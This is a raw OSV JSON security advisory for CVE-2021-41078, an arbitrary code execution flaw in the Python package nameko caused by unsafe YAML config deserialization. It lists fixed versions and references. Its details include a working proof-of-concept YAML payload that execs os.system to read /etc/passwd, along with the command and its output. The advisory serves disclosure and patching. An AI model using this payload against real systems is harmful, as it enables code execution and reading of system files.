原始 OSV JSON
{
"id": "GHSA-6p52-jr3q-c94g",
"aliases": [
"CVE-2021-41078"
],
"details": "### Impact\n\nNameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:\n\n``` yaml\n# malicious.yaml\n!!python/object/new:type\nargs: ['z', !!python/tuple [], {'extend': !!python/name:exec }]\nlistitems: \"__import__('os').system('cat /etc/passwd')\"\n```\n\n``` shell\n$ nameko run --config malicious.yaml test\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\n... \n```\n\n### Patches\n\nThe problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.\n\nVersions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.\n\n### Workarounds\n\nThe vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.",
"summary": "Nameko Arbitrary code execution due to YAML deserialization",
"affected": [
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "2.14.0"
}
]
}
],
"package": {
"name": "nameko",
"ecosystem": "PyPI"
}
},
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "3.0.0rc0"
},
{
"fixed": "3.0.0rc10"
}
]
}
],
"package": {
"name": "nameko",
"ecosystem": "PyPI"
},
"database_specific": {
"last_known_affected_version_range": "<= 3.0.0rc9"
}
}
],
"modified": "2024-10-07T14:45:04Z",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"
},
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
}
],
"published": "2021-10-19T15:28:57Z",
"references": [
{
"url": "https://github.com/nameko/nameko/security/advisories/GHSA-6p52-jr3q-c94g",
"type": "WEB"
},
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41078",
"type": "ADVISORY"
},
{
"url": "https://github.com/nameko/nameko",
"type": "PACKAGE"
},
{
"url": "https://github.com/nameko/nameko/releases/tag/v2.14.0",
"type": "WEB"
},
{
"url": "https://github.com/nameko/nameko/releases/tag/v3.0.0-rc10",
"type": "WEB"
},
{
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nameko/PYSEC-2021-383.yaml",
"type": "WEB"
}
],
"schema_version": "1.4.0",
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"severity": "CRITICAL",
"github_reviewed": true,
"nvd_published_at": "2021-10-26T13:15:00Z",
"github_reviewed_at": "2021-10-19T15:14:24Z"
}
}